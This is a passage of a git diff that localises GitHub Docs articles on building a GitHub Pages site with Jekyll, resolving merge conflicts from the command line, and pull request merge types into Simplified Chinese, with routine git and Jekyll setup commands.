`/docs` folder on a branch called `main`.{% endif %} -{% data reusables.pages.configure-publishing-source %} -{% data reusables.repositories.sidebar-settings %} -{% data reusables.pages.sidebar-pages %} -{% data reusables.pages.choose-visibility %} -{% data reusables.pages.visit-site %} -{% data reusables.pages.check-workflow-run %} + 如果发布源是 {% data variables.product.prodname_actions %} 工作流,则部署的项目必须在项目的顶层包含入口文件。 可以选择使用 {% data variables.product.prodname_actions %} 工作流在工作流运行时生成入口文件,而不是将入口文件添加到存储库。{% else %} 入口文件必须位于所选发布源的顶层。 例如,如果发布源是 `main` 分支上的 `/docs` 文件夹,则入口文件必须位于名为 `main` 的分支上的 `/docs` 文件夹。{% endif %} {% data reusables.pages.configure-publishing-source %} {% data reusables.repositories.sidebar-settings %} {% data reusables.pages.sidebar-pages %} {% data reusables.pages.choose-visibility %} {% data reusables.pages.visit-site %} {% data reusables.pages.check-workflow-run %} {% data reusables.pages.admin-must-push %} -## Next steps +## 后续步骤 -You can add more pages to your site by creating more new files. Each file will be available on your site in the same directory structure as your publishing source. For example, if the publishing source for your project site is the `gh-pages` branch, and you create a new file called `/about/contact-us.md` on the `gh-pages` branch, the file will be available at {% ifversion fpt or ghec %}`https://.github.io//{% else %}`http(s):///pages///{% endif %}about/contact-us.html`. +您可以通过创建更多新文件向网站添加更多页面。 每个文件都将在网站上与发布源相同的目录结构中。 例如,如果项目网站的发布源是 `gh-pages` 分支,并且你在 `gh-pages` 分支上创建了名为 `/about/contact-us.md` 的新文件,该文件将在 {% ifversion fpt or ghec %}`https://.github.io//{% else %}`http(s):///pages///{% endif %}about/contact-us.html` 下。 -You can also add a theme to customize your site’s look and feel. For more information, see "[Adding a theme to your {% data variables.product.prodname_pages %} site using Jekyll](/articles/adding-a-theme-to-your-github-pages-site-using-jekyll)". +您还可以添加主题以自定义网站的外观。 有关详细信息,请参阅 {% ifversion fpt or ghec %}“[使用主题选择器将主题添加到 {% data variables.product.prodname_pages %} 站点](/articles/adding-a-theme-to-your-github-pages-site-with-the-theme-chooser){% else %}”,以及“[使用 Jekyll 将主题添加到 {% data variables.product.prodname_pages %} 站点](/articles/adding-a-theme-to-your-github-pages-site-using-jekyll){% endif %}”。 -To customize your site even more, you can use Jekyll, a static site generator with built-in support for {% data variables.product.prodname_pages %}. For more information, see "[About {% data variables.product.prodname_pages %} and Jekyll](/articles/about-github-pages-and-jekyll)". +要更多地自定义您的站点,您可以使用 Jekyl - 内置 {% data variables.product.prodname_pages %} 支持的静态站点生成器。 有关详细信息,请参阅“[关于 {% data variables.product.prodname_pages %} 和 Jekyll](/articles/about-github-pages-and-jekyll)”。 -## Further reading +## 延伸阅读 -- "[Troubleshooting Jekyll build errors for {% data variables.product.prodname_pages %} sites](/articles/troubleshooting-jekyll-build-errors-for-github-pages-sites)" -- "[Creating and deleting branches within your repository](/articles/creating-and-deleting-branches-within-your-repository)" -- "[Creating new files](/articles/creating-new-files)" +- “[排查 {% data variables.product.prodname_pages %} 站点的 Jekyll 生成错误](/articles/troubleshooting-jekyll-build-errors-for-github-pages-sites)” +- “[在存储库中创建和删除分支](/articles/creating-and-deleting-branches-within-your-repository)” +- [创建新文件](/articles/creating-new-files) diff --git a/translations/zh-CN/content/pages/setting-up-a-github-pages-site-with-jekyll/creating-a-github-pages-site-with-jekyll.md b/translations/zh-CN/content/pages/setting-up-a-github-pages-site-with-jekyll/creating-a-github-pages-site-with-jekyll.md index 389f6ada15..275a21ebe6 100644 --- a/translations/zh-CN/content/pages/setting-up-a-github-pages-site-with-jekyll/creating-a-github-pages-site-with-jekyll.md +++ b/translations/zh-CN/content/pages/setting-up-a-github-pages-site-with-jekyll/creating-a-github-pages-site-with-jekyll.md @@ -1,6 +1,6 @@ --- -title: Creating a GitHub Pages site with Jekyll -intro: 'You can use Jekyll to create a {% data variables.product.prodname_pages %} site in a new or existing repository.' +title: 使用 Jekyll 创建 GitHub Pages 站点 +intro: '您可以使用 Jekyll 在新仓库或现有仓库中创建 {% data variables.product.prodname_pages %} 站点。' product: '{% data reusables.gated-features.pages %}' redirect_from: - /articles/creating-a-github-pages-site-with-jekyll @@ -14,119 +14,112 @@ versions: topics: - Pages shortTitle: Create site with Jekyll +ms.openlocfilehash: 409b2d1e21f89471e7ad92f790bc7ac67e903a62 +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/11/2022 +ms.locfileid: '145129667' --- - {% data reusables.pages.org-owners-can-restrict-pages-creation %} -## Prerequisites +## 先决条件 -Before you can use Jekyll to create a {% data variables.product.prodname_pages %} site, you must install Jekyll and Git. For more information, see [Installation](https://jekyllrb.com/docs/installation/) in the Jekyll documentation and "[Set up Git](/articles/set-up-git)." +必须安装 Jekyll 和 Git 后才可使用 Jekyll 创建 {% data variables.product.prodname_pages %} 站点。 有关详细信息,请参阅 Jekyll 文档中的[安装](https://jekyllrb.com/docs/installation/)和“[设置 Git](/articles/set-up-git)”。 {% data reusables.pages.recommend-bundler %} {% data reusables.pages.jekyll-install-troubleshooting %} -## Creating a repository for your site +## 为站点创建仓库 {% data reusables.pages.new-or-existing-repo %} -{% data reusables.repositories.create_new %} -{% data reusables.repositories.owner-drop-down %} -{% indented_data_reference reusables.pages.emu-org-only spaces=3 %} -{% data reusables.pages.create-repo-name %} -{% data reusables.repositories.choose-repo-visibility %} +{% data reusables.repositories.create_new %} {% data reusables.repositories.owner-drop-down %} {% indented_data_reference reusables.pages.emu-org-only spaces=3 %} {% data reusables.pages.create-repo-name %} {% data reusables.repositories.choose-repo-visibility %} -## Creating your site +## 创建站点 {% data reusables.pages.must-have-repo-first %} {% data reusables.pages.private_pages_are_public_warning %} {% data reusables.command_line.open_the_multi_os_terminal %} -1. If you don't already have a local copy of your repository, navigate to the location where you want to store your site's source files, replacing _PARENT-FOLDER_ with the folder you want to contain the folder for your repository. +1. 如果还没有本地版存储,请导航到想要存储站点源文件的位置,将 PARENT-FOLDER 替换为要包含存储库文件夹的文件夹。 ```shell - $ cd PARENT-FOLDER + $ cd PARENT-FOLDER ``` -1. If you haven't already, initialize a local Git repository, replacing _REPOSITORY-NAME_ with the name of your repository. +1. 如果尚未初始化本地 Git 存储库,请将 REPOSITORY-NAME 替换为存储库名称。 ```shell - $ git init REPOSITORY-NAME + $ git init REPOSITORY-NAME > Initialized empty Git repository in /Users/octocat/my-site/.git/ # Creates a new folder on your computer, initialized as a Git repository ``` - 4. Change directories to the repository. + 4. 将目录更改为仓库。 ```shell - $ cd REPOSITORY-NAME + $ cd REPOSITORY-NAME # Changes the working directory ``` -{% data reusables.pages.decide-publishing-source %} -{% data reusables.pages.navigate-publishing-source %} - For example, if you chose to publish your site from the `docs` folder on the default branch, create and change directories to the `docs` folder. +{% data reusables.pages.decide-publishing-source %} {% data reusables.pages.navigate-publishing-source %} 例如,如果选择从默认分支上的 `docs` 文件夹发布站点,请创建目录并将目录更改为 `docs` 文件夹。 ```shell $ mkdir docs # Creates a new folder called docs $ cd docs ``` - If you chose to publish your site from the `gh-pages` branch, create and checkout the `gh-pages` branch. + 如果选择从 `gh-pages` 分支发布站点,请创建并签出 `gh-pages` 分支。 ```shell $ git checkout --orphan gh-pages # Creates a new branch, with no history or contents, called gh-pages, and switches to the gh-pages branch - $ git rm -rf . + $ git rm -rf # Removes the contents from your default branch from the working directory ``` -1. To create a new Jekyll site, use the `jekyll new` command: +1. 若要创建新 Jekyll 站点,请使用 `jekyll new` 命令: ```shell $ jekyll new --skip-bundle . # Creates a Jekyll site in the current directory ``` -1. Open the Gemfile that Jekyll created. -1. Add "#" to the beginning of the line that starts with `gem "jekyll"` to comment out this line. -1. Add the `github-pages` gem by editing the line starting with `# gem "github-pages"`. Change this line to: +1. 打开 Jekyll 创建的 Gemfile 文件。 +1. 将“#”添加到以 `gem "jekyll"` 开头的行首,以注释禁止此行。 +1. 编辑以 `# gem "github-pages"` 开头的行,以添加 `github-pages` gem。 将此行更改为: ```shell gem "github-pages", "~> GITHUB-PAGES-VERSION", group: :jekyll_plugins ``` - Replace _GITHUB-PAGES-VERSION_ with the latest supported version of the `github-pages` gem. You can find this version here: "[Dependency versions](https://pages.github.com/versions/)." + 将 GITHUB-PAGES-VERSION 替换为 `github-pages` gem 的最新支持版本。 可以在以下位置找到这个版本:“[依赖项版本](https://pages.github.com/versions/)”。 - The correct version Jekyll will be installed as a dependency of the `github-pages` gem. -1. Save and close the Gemfile. -1. From the command line, run `bundle install`. -1. Optionally, make any necessary edits to the `_config.yml` file. This is required for relative paths when the repository is hosted in a subdirectory. For more information, see "[Splitting a subfolder out into a new repository](/github/getting-started-with-github/using-git/splitting-a-subfolder-out-into-a-new-repository)." + 正确版本的 Jekyll 将安装为 `github-pages` gem 的依赖项。 +1. 保存并关闭 Gemfile。 +1. 从命令行中,运行 `bundle install`。 +1. (可选)对 `_config.yml` 文件进行任何必要的编辑。 当仓库托管在子目录时相对路径需要此设置。 有关详细信息,请参阅“[将子文件夹拆分到新存储库中](/github/getting-started-with-github/using-git/splitting-a-subfolder-out-into-a-new-repository)”。 ```yml domain: my-site.github.io # if you want to force HTTPS, specify the domain without the http at the start, e.g. example.com url: https://my-site.github.io # the base hostname and protocol for your site, e.g. http://example.com baseurl: /REPOSITORY-NAME/ # place folder name if the site is served in a subfolder ``` -1. Optionally, test your site locally. For more information, see "[Testing your {% data variables.product.prodname_pages %} site locally with Jekyll](/articles/testing-your-github-pages-site-locally-with-jekyll)." -1. Add and commit your work. +1. (可选)在本地测试您的站点。 有关详细信息,请参阅“[使用 Jekyll 在本地测试 {% data variables.product.prodname_pages %} 站点](/articles/testing-your-github-pages-site-locally-with-jekyll)”。 +1. 添加并提交您的工作。 ```shell git add . git commit -m 'Initial GitHub pages site with Jekyll' ``` -1. Add your repository on {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.location.product_location %}{% endif %} as a remote, replacing {% ifversion ghes or ghae %}_HOSTNAME_ with your enterprise's hostname,{% endif %} _USER_ with the account that owns the repository{% ifversion ghes or ghae %},{% endif %} and _REPOSITORY_ with the name of the repository. +1. 将 {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.product.product_location %}{% endif %} 上的存储库添加为远程存储库,将 {% ifversion ghes or ghae %}HOSTNAME 替换为企业的主机名,{% endif %} 将 USER 替换为拥有该存储库的帐户{% ifversion ghes or ghae %},{% endif %}并将 REPOSITORY 替换为存储库名称 。 ```shell {% ifversion fpt or ghec %} -$ git remote add origin https://github.com/USER/REPOSITORY.git +$ git remote add origin https://github.com/USER/REPOSITORY.git {% else %} -$ git remote add origin https://HOSTNAME/USER/REPOSITORY.git +$ git remote add origin https://HOSTNAME/USER/REPOSITORY.git {% endif %} ``` -1. Push the repository to {% data variables.product.product_name %}, replacing _BRANCH_ with the name of the branch you're working on. +1. 将存储库推送到 {% data variables.product.product_name %},将 BRANCH 替换为所操作的分支的名称。 ```shell - $ git push -u origin BRANCH + $ git push -u origin BRANCH ``` -{% data reusables.pages.configure-publishing-source %} -{% data reusables.pages.navigate-site-repo %} -{% data reusables.repositories.sidebar-settings %} -{% data reusables.pages.sidebar-pages %} -{% data reusables.pages.choose-visibility %} -{% data reusables.pages.visit-site %} -{% data reusables.pages.check-workflow-run %} +{% data reusables.pages.configure-publishing-source %} {% data reusables.pages.navigate-site-repo %} {% data reusables.repositories.sidebar-settings %} {% data reusables.pages.sidebar-pages %} {% data reusables.pages.choose-visibility %} {% data reusables.pages.visit-site %} {% data reusables.pages.check-workflow-run %} {% data reusables.pages.admin-must-push %} -## Next steps +## 后续步骤 -To add a new page or post to your site, see "[Adding content to your {% data variables.product.prodname_pages %} site using Jekyll](/articles/adding-content-to-your-github-pages-site-using-jekyll)." +若要向站点添加新页面或帖子,请参阅“[使用 Jekyll 添加内容到 {% data variables.product.prodname_pages %} 站点](/articles/adding-content-to-your-github-pages-site-using-jekyll)”。 -{% data reusables.pages.add-jekyll-theme %} For more information, see "[Adding a theme to your {% data variables.product.prodname_pages %} site using Jekyll](/articles/adding-a-theme-to-your-github-pages-site-using-jekyll)." +{% data reusables.pages.add-jekyll-theme %} 有关详细信息,请参阅“[使用 Jekyll 将主题添加到 {% data variables.product.prodname_pages %} 站点](/articles/adding-a-theme-to-your-github-pages-site-using-jekyll)”。 diff --git a/translations/zh-CN/content/pull-requests/collaborating-with-pull-requests/addressing-merge-conflicts/resolving-a-merge-conflict-using-the-command-line.md b/translations/zh-CN/content/pull-requests/collaborating-with-pull-requests/addressing-merge-conflicts/resolving-a-merge-conflict-using-the-command-line.md index a53dcfa122..ba7d87cfcd 100644 --- a/translations/zh-CN/content/pull-requests/collaborating-with-pull-requests/addressing-merge-conflicts/resolving-a-merge-conflict-using-the-command-line.md +++ b/translations/zh-CN/content/pull-requests/collaborating-with-pull-requests/addressing-merge-conflicts/resolving-a-merge-conflict-using-the-command-line.md @@ -1,6 +1,6 @@ --- -title: Resolving a merge conflict using the command line -intro: You can resolve merge conflicts using the command line and a text editor. +title: 使用命令行解决合并冲突 +intro: 您可以使用命令行和文本编辑器解决合并冲突。 redirect_from: - /github/collaborating-with-issues-and-pull-requests/addressing-merge-conflicts/resolving-a-merge-conflict-using-the-command-line - /articles/resolving-a-merge-conflict-from-the-command-line @@ -15,27 +15,33 @@ versions: topics: - Pull requests shortTitle: Resolve merge conflicts in Git +ms.openlocfilehash: 1d4ff97c2a93d3e5a7aebaa8752810e284203bc1 +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/11/2022 +ms.locfileid: '147883455' --- -Merge conflicts occur when competing changes are made to the same line of a file, or when one person edits a file and another person deletes the same file. For more information, see "[About merge conflicts](/articles/about-merge-conflicts/)." +当对文件的同一行进行竞争更改时,或者当一个人编辑文件而另一个人删除同一文件时,会发生合并冲突。 有关详细信息,请参阅“[关于合并冲突](/articles/about-merge-conflicts/)”。 {% tip %} -**Tip:** You can use the conflict editor on {% data variables.product.product_name %} to resolve competing line change merge conflicts between branches that are part of a pull request. For more information, see "[Resolving a merge conflict on GitHub](/pull-requests/collaborating-with-pull-requests/addressing-merge-conflicts/resolving-a-merge-conflict-on-github)." +**提示:** 可以使用冲突编辑器在 {% data variables.product.product_name %} 上解决作为拉取请求组成部分的各分支之间的竞争行更改合并冲突。 有关详细信息,请参阅“[在 GitHub 上解决合并冲突](/pull-requests/collaborating-with-pull-requests/addressing-merge-conflicts/resolving-a-merge-conflict-on-github)”。 {% endtip %} -## Competing line change merge conflicts +## 竞争行更改合并冲突 -To resolve a merge conflict caused by competing line changes, you must choose which changes to incorporate from the different branches in a new commit. +要解决由竞争行更改导致的合并冲突,您必须从新提交的不同分支中选择要合并的更改。 -For example, if you and another person both edited the file _styleguide.md_ on the same lines in different branches of the same Git repository, you'll get a merge conflict error when you try to merge these branches. You must resolve this merge conflict with a new commit before you can merge these branches. +例如,如果你和另一个人都在同一 Git 存储库不同分支的同一行中编辑了 styleguide.md 文件,则在尝试合并这些分支时会发生合并冲突错误。 必须使用新提交解决这一合并冲突,然后才能合并这些分支。 {% data reusables.command_line.open_the_multi_os_terminal %} -2. Navigate into the local Git repository that has the merge conflict. +2. 导航到有合并冲突的本地 Git 仓库中。 ```shell - cd REPOSITORY-NAME + cd REPOSITORY-NAME ``` -3. Generate a list of the files affected by the merge conflict. In this example, the file *styleguide.md* has a merge conflict. +3. 生成受合并冲突影响的文件列表。 在此示例中,styleguide.md 文件存在合并冲突。 ```shell $ git status > # On branch branch-b @@ -49,8 +55,8 @@ For example, if you and another person both edited the file _styleguide.md_ on t > # > no changes added to commit (use "git add" and/or "git commit -a") ``` -4. Open your favorite text editor, such as [{% data variables.product.prodname_vscode %}](https://code.visualstudio.com/), and navigate to the file that has merge conflicts. -5. To see the beginning of the merge conflict in your file, search the file for the conflict marker `<<<<<<<`. When you open the file in your text editor, you'll see the changes from the HEAD or base branch after the line `<<<<<<< HEAD`. Next, you'll see `=======`, which divides your changes from the changes in the other branch, followed by `>>>>>>> BRANCH-NAME`. In this example, one person wrote "open an issue" in the base or HEAD branch and another person wrote "ask your question in IRC" in the compare branch or `branch-a`. +4. 打开你首选的文本编辑器,例如 [Atom](https://atom.io/),然后导航到有合并冲突的文件。 +5. 要在文件中查看合并冲突的开头,请在文件中搜索冲突标记 `<<<<<<<`。 当你在文本编辑器中打开文件时,你将在行 `<<<<<<< HEAD` 后看到头部分支或基本分支。 接下来,你将看到 `=======`,它将你的更改与其他分支中的更改分开,后跟 `>>>>>>> BRANCH-NAME`。 在本例中,一个人在基本或头部分支中编写了“open an issue”,而另一个人在比较分支或 `branch-a` 中编写了“ask your question in IRC”。 ``` If you have questions, please @@ -60,34 +66,34 @@ For example, if you and another person both edited the file _styleguide.md_ on t ask your question in IRC. >>>>>>> branch-a ``` -{% data reusables.pull_requests.decide-how-to-resolve-competing-line-change-merge-conflict %} In this example, both changes are incorporated into the final merge: +{% data reusables.pull_requests.decide-how-to-resolve-competing-line-change-merge-conflict %} 在本例中,两个更改均整合到最终合并: ```shell If you have questions, please open an issue or ask in our IRC channel if it's more urgent. ``` -7. Add or stage your changes. +7. 添加或暂存您的更改。 ```shell $ git add . ``` -8. Commit your changes with a comment. +8. 提交您的更改及注释。 ```shell $ git commit -m "Resolved merge conflict by incorporating both suggestions." ``` -You can now merge the branches on the command line or [push your changes to your remote repository](/github/getting-started-with-github/pushing-commits-to-a-remote-repository/) on {% data variables.product.product_name %} and [merge your changes](/articles/merging-a-pull-request/) in a pull request. +现在,可以在命令行上合并分支,或者在 {% data variables.product.product_name %} 上[将更改推送到远程存储库](/github/getting-started-with-github/pushing-commits-to-a-remote-repository/),然后在拉取请求中[合并更改](/articles/merging-a-pull-request/)。 -## Removed file merge conflicts +## 删除的文件合并冲突 -To resolve a merge conflict caused by competing changes to a file, where a person deletes a file in one branch and another person edits the same file, you must choose whether to delete or keep the removed file in a new commit. +要解决由对文件进行竞争更改而导致的合并冲突,对于一个人删除分支中的文件而另一个人编辑同一文件的情况,您必须选择是删除还是将删除的文件保留在新提交中。 -For example, if you edited a file, such as *README.md*, and another person removed the same file in another branch in the same Git repository, you'll get a merge conflict error when you try to merge these branches. You must resolve this merge conflict with a new commit before you can merge these branches. +例如,如果你编辑了一个文件(如 README.md),而另一个人在同一 Git 存储库的另一个分支中删除了同一文件,那么当你尝试合并这些分支时将发生合并冲突错误。 必须使用新提交解决这一合并冲突,然后才能合并这些分支。 {% data reusables.command_line.open_the_multi_os_terminal %} -2. Navigate into the local Git repository that has the merge conflict. +2. 导航到有合并冲突的本地 Git 仓库中。 ```shell - cd REPOSITORY-NAME + cd REPOSITORY-NAME ``` -2. Generate a list of the files affected by the merge conflict. In this example, the file *README.md* has a merge conflict. +2. 生成受合并冲突影响的文件列表。 在此示例中,文件 README.md 存在合并冲突。 ```shell $ git status > # On branch main @@ -100,32 +106,32 @@ For example, if you edited a file, such as *README.md*, and another person remov > # Unmerged paths: > # (use "git add/rm ..." as appropriate to mark resolution) > # - > # deleted by us: README.md + > # deleted by us: README.md > # > # no changes added to commit (use "git add" and/or "git commit -a") ``` -3. Open your favorite text editor, such as [{% data variables.product.prodname_vscode %}](https://code.visualstudio.com/), and navigate to the file that has merge conflicts. -6. Decide if you want keep the removed file. You may want to view the latest changes made to the removed file in your text editor. +3. 打开你首选的文本编辑器,例如 [Atom](https://atom.io/),然后导航到有合并冲突的文件。 +6. 决定是否要保留删除的文件。 您可能想要在文本编辑器中查看对删除的文件所做的最新更改。 - To add the removed file back to your repository: + 要将已删除的文件重新添加到仓库: ```shell $ git add README.md ``` - To remove this file from your repository: + 要从仓库中删除此文件: ```shell $ git rm README.md > README.md: needs merge > rm 'README.md' ``` -7. Commit your changes with a comment. +7. 提交您的更改及注释。 ```shell $ git commit -m "Resolved merge conflict by keeping README.md file." > [branch-d 6f89e49] Merge branch 'branch-c' into branch-d ``` -You can now merge the branches on the command line or [push your changes to your remote repository](/github/getting-started-with-github/pushing-commits-to-a-remote-repository/) on {% data variables.product.product_name %} and [merge your changes](/articles/merging-a-pull-request/) in a pull request. +现在,可以在命令行上合并分支,或者在 {% data variables.product.product_name %} 上[将更改推送到远程存储库](/github/getting-started-with-github/pushing-commits-to-a-remote-repository/),然后在拉取请求中[合并更改](/articles/merging-a-pull-request/)。 -## Further reading +## 延伸阅读 -- "[About merge conflicts](/pull-requests/collaborating-with-pull-requests/addressing-merge-conflicts/about-merge-conflicts)" -- "[Checking out pull requests locally](/articles/checking-out-pull-requests-locally/)" +- “[关于合并冲突](/pull-requests/collaborating-with-pull-requests/addressing-merge-conflicts/about-merge-conflicts)” +- “[在本地签出拉取请求](/articles/checking-out-pull-requests-locally/)” diff --git a/translations/zh-CN/content/pull-requests/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/about-pull-request-merges.md b/translations/zh-CN/content/pull-requests/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/about-pull-request-merges.md index 32c3ec760b..12363a6823 100644 --- a/translations/zh-CN/content/pull-requests/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/about-pull-request-merges.md +++ b/translations/zh-CN/content/pull-requests/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/about-pull-request-merges.md @@ -1,6 +1,6 @@ --- -title: About pull request merges -intro: 'You can [merge pull requests](/pull-requests/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/merging-a-pull-request) by retaining all the commits in a feature branch, squashing all commits into a single commit, or by rebasing individual commits from the `head` branch onto the `base` branch.' +title: 关于拉取请求合并 +intro: '可以通过将所有提交保留在功能分支中、将所有提交压缩到一个提交中,或者将个别提交从 `head` 变基为 `base` 分支,以[合并拉取请求](/pull-requests/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/merging-a-pull-request)。' redirect_from: - /github/collaborating-with-issues-and-pull-requests/incorporating-changes-from-a-pull-request/about-pull-request-merges - /articles/about-pull-request-merge-squashing @@ -14,77 +14,67 @@ versions: ghec: '*' topics: - Pull requests +ms.openlocfilehash: 512a32eb3f918653eab1127aecb70a2fbc220571 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/05/2022 +ms.locfileid: '147580437' --- -## Merge your commits +## 合并提交 {% data reusables.pull_requests.default_merge_option %} -## Squash and merge your commits +## 压缩和合并提交 {% data reusables.pull_requests.squash_and_merge_summary %} -### Merge message for a squash merge +### 合并压缩合并的消息 -{% ifversion default-merge-squash-commit-message %} -When you squash and merge, {% data variables.product.prodname_dotcom %} generates a default commit message, which you can edit. Depending on how the repository is configured and the number of commits in the pull request, not including merge commits, this message may include the pull request title, pull request description, or information about the commits. -{% else %} -When you squash and merge, {% data variables.product.prodname_dotcom %} generates a default commit message, which you can edit. The default message depends on the number of commits in the pull request, not including merge commits. +{% ifversion default-merge-squash-commit-message %} 在压缩和合并时,{% data variables.product.prodname_dotcom %} 生成默认的提交消息,你可以对其进行编辑。 根据存储库的配置方式和拉取请求中的提交数(不包括合并提交),此消息可能包括拉取请求标题、拉取请求说明或有关提交的信息。 +{% else %} 在压缩和合并时,{% data variables.product.prodname_dotcom %} 生成默认的提交消息,你可以对其进行编辑。 默认消息取决于拉取请求中的提交数,不包括合并提交。 -Number of commits | Summary | Description | ------------------ | ------- | ----------- | -One commit | The title of the commit message for the single commit, followed by the pull request number | The body text of the commit message for the single commit -More than one commit | The pull request title, followed by the pull request number | A list of the commit messages for all of the squashed commits, in date order +提交数 | 总结 | 说明 | +----------------- | ------- | ----------- | +一个提交 | 单个提交的提交消息标题,后接拉取请求编号 | 单个提交的提交消息正文 +多个提交 | 拉取请求标题,后接拉取请求编号 | 按日期顺序列出所有被压缩提交的提交消息 {% endif %} -Number of commits | Summary | Description | +提交数 | 总结 | 说明 | ----------------- | ------- | ----------- | -One commit | The title of the commit message for the single commit, followed by the pull request number | The body text of the commit message for the single commit -More than one commit | The pull request title, followed by the pull request number | A list of the commit messages for all of the squashed commits, in date order +一个提交 | 单个提交的提交消息标题,后接拉取请求编号 | 单个提交的提交消息正文 +多个提交 | 拉取请求标题,后接拉取请求编号 | 按日期顺序列出所有被压缩提交的提交消息 -{% ifversion default-merge-squash-commit-message %} -People with maintainer or admin access to a repository can configure their repository's default merge message for all squashed commits to use the pull request title, the pull request title and commit details, or the pull request title and description. For more information, see "[Configure commit squashing](/repositories/configuring-branches-and-merges-in-your-repository/configuring-pull-request-merges/configuring-commit-squashing-for-pull-requests)".{% endif %} +{% ifversion default-merge-squash-commit-message %} 拥有存储库维护员或管理员权限的人员可以为所有已压缩提交配置其存储库的默认合并消息,以使用拉取请求标题、拉取请求标题和提交详细信息或拉取请求标题和说明。 有关详细信息,请参阅“[配置提交压缩](/repositories/configuring-branches-and-merges-in-your-repository/configuring-pull-request-merges/configuring-commit-squashing-for-pull-requests)”。{% endif %} -{% ifversion ghes = 3.6 %} -People with admin access to a repository can configure the repository to use the title of the pull request as the default merge message for all squashed commits. For more information, see "[Configure commit squashing](/repositories/configuring-branches-and-merges-in-your-repository/configuring-pull-request-merges/configuring-commit-squashing-for-pull-requests)". +{% ifversion ghes = 3.6 %} 拥有存储库管理员访问权限的人员可以将存储库配置为使用拉取请求的标题作为所有已压缩提交的默认合并消息。 有关详细信息,请参阅“[配置提交压缩](/repositories/configuring-branches-and-merges-in-your-repository/configuring-pull-request-merges/configuring-commit-squashing-for-pull-requests)”。 {% endif %} -### Squashing and merging a long-running branch +### 压缩与合并长运行分支 -If you plan to continue work on the [head branch](/github/getting-started-with-github/github-glossary#head-branch) of a pull request after the pull request is merged, we recommend you don't squash and merge the pull request. +如果计划在合并拉取请求后继续操作[头部分支](/github/getting-started-with-github/github-glossary#head-branch),建议不要压缩与合并拉取请求。 -When you create a pull request, {% data variables.product.prodname_dotcom %} identifies the most recent commit that is on both the head branch and the [base branch](/github/getting-started-with-github/github-glossary#base-branch): the common ancestor commit. When you squash and merge the pull request, {% data variables.product.prodname_dotcom %} creates a commit on the base branch that contains all of the changes you made on the head branch since the common ancestor commit. +在创建拉取请求时,{% data variables.product.prodname_dotcom %} 会标识头部分支和[基础分支](/github/getting-started-with-github/github-glossary#base-branch)上的最新提交:共同的提交原型。 在压缩与合并拉取请求时,{% data variables.product.prodname_dotcom %} 会在基础分支上创建提交,其中包含自提交原型以来对头部分支所做的所有更改。 -Because this commit is only on the base branch and not the head branch, the common ancestor of the two branches remains unchanged. If you continue to work on the head branch, then create a new pull request between the two branches, the pull request will include all of the commits since the common ancestor, including commits that you squashed and merged in the previous pull request. If there are no conflicts, you can safely merge these commits. However, this workflow makes merge conflicts more likely. If you continue to squash and merge pull requests for a long-running head branch, you will have to resolve the same conflicts repeatedly. +由于此提交仅位于基础分支而不是头部分支上,因此两个分支的共同原型保持不变。 如果您继续使用头部分支,则在两个分支之间创建新的拉取请求,该拉取请求将包含自共同原型以来的所有提交,其中包括你在之前的拉取请求中压缩与合并的提交。 如果没有冲突,您可以安全地合并这些提交。 但是,此工作流会增大合并冲突的可能性。 如果您继续压缩与合并长运行头部分支的拉取请求,则必须反复解决相同的冲突。 -## Rebase and merge your commits +## 对提交进行变基和合并 {% data reusables.pull_requests.rebase_and_merge_summary %} -You aren't able to automatically rebase and merge on {% data variables.location.product_location %} when: -- The pull request has merge conflicts. -- Rebasing the commits from the base branch into the head branch runs into conflicts. -- Rebasing the commits is considered "unsafe," such as when a rebase is possible without merge conflicts but would produce a different result than a merge would. +在以下情况下,您无法在 {% data variables.product.product_location %} 上自动变基与合并: +- 拉取请求有合并冲突。 +- 将提交从基本分支变基为遇到冲突的头部分支。 +- 变基提交被视为“不安全”,例如变基可行、不会发生冲突但会产生与合并不同的结果时。 -If you still want to rebase the commits but can't rebase and merge automatically on {% data variables.location.product_location %} you must: -- Rebase the topic branch (or head branch) onto the base branch locally on the command line -- [Resolve any merge conflicts on the command line](/articles/resolving-a-merge-conflict-using-the-command-line/). -- Force-push the rebased commits to the pull request's topic branch (or remote head branch). +如果您仍然要变基提交,但不能在 {% data variables.product.product_location %} 上自动变基与合并,则您必须: +- 在命令行上以本地方式将主题分支(或头部分支)变基为基本分支 +- [解决命令行上的任何合并冲突](/articles/resolving-a-merge-conflict-using-the-command-line/)。 +- 强制推送变基的命令到拉取请求的主题分支(或远端头部分支)。 -Anyone with write permissions in the repository, can then [merge the changes](/articles/merging-a-pull-request/) using the rebase and merge button on {% data variables.location.product_location %}. +在存储库中具有写入权限的任何人都可以使用 {% data variables.product.product_location %} 上的变基与合并按钮[合并更改](/articles/merging-a-pull-request/)。 -## Indirect merges +## 延伸阅读 -A pull request can be merged automatically if its head branch is directly or indirectly merged into the base branch externally. In other words, if the head branch's tip commit becomes reachable from the tip of the target branch. For example: - -* Branch `main` is at commit **C**. -* Branch `feature` has been branched off of `main` and is currently at commit **D**. This branch has a pull request targeting `main`. -* Branch `feature_2` is branched off of `feature` and is now at commit **E**. This branch also has a pull request targeting `main`. - -If pull request **E** --> `main` is merged first, pull request **D** --> `main` will be marked as merged *automatically* because all of the commits from `feature` are now reachable from `main`. Merging `feature_2` into `main` and pushing `main` to the server from the command line will mark *both* pull requests as merged. - -Pull requests in this situation will be marked as `merged` even if [branch protection rules](/repositories/configuring-branches-and-merges-in-your-repository/defining-the-mergeability-of-pull-requests/about-protected-branches#about-branch-protection-rules) have not been satisfied. - -## Further reading - -- "[About pull requests](/articles/about-pull-requests/)" -- "[Addressing merge conflicts](/github/collaborating-with-pull-requests/addressing-merge-conflicts)" +- “[关于拉取请求](/articles/about-pull-requests/)” +- 